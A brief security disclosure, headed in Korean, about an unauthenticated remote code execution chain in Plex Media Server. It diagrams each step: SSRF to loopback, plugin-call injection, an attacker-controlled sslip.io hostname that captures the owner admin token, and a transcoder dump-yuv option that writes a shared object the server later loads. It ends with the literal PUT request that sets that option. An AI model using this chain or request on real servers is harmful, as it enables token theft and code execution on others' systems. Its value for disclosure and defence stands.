Plex Media Server에서 인증 없이 원격 코드 실행 취약점이 공개됐다

[attacker on the internet, junk token]         |    (1) /player/timeline  -- SSRF -->  server POSTs to itself on         |                              127.0.0.1         v    (2) /system/agents/.../searchOne  -- loopback-only plugin API,         |   now reachable because the request came from loopback         |   -> identifier= injection forges a call to any plugin function         v    (3) networking.py:149  -- the forged call targets GetResultFromNetwork         |   with a URL like http://127.0.0.1.<attacker>.sslip.io/...         |   the server sees "127.0.0.1" prefix, attaches the owner token,         |   then DNS resolves the hostname to the attacker's IP         v    attacker now holds an OWNER admin token         |    (4) /video/:/transcode/universal?path=<url>  -- with the owner token,         |   point the transcoder at an attacker-hosted carrier video         v    (5) TranscoderH264Options=dump-yuv  -- x264 writes the decoded frames         |   to an attacker-chosen path in the Codecs directory; the frames         |   are a bit-exact copy of the input, which is a shared object         |   -> next transcode dlopens it -> constructor runs         v    [code executes as uid=1000(plex)] 

PUT /:/prefs?TranscoderH264Options=dump-yuv=<codec dir>/x.so:qp=0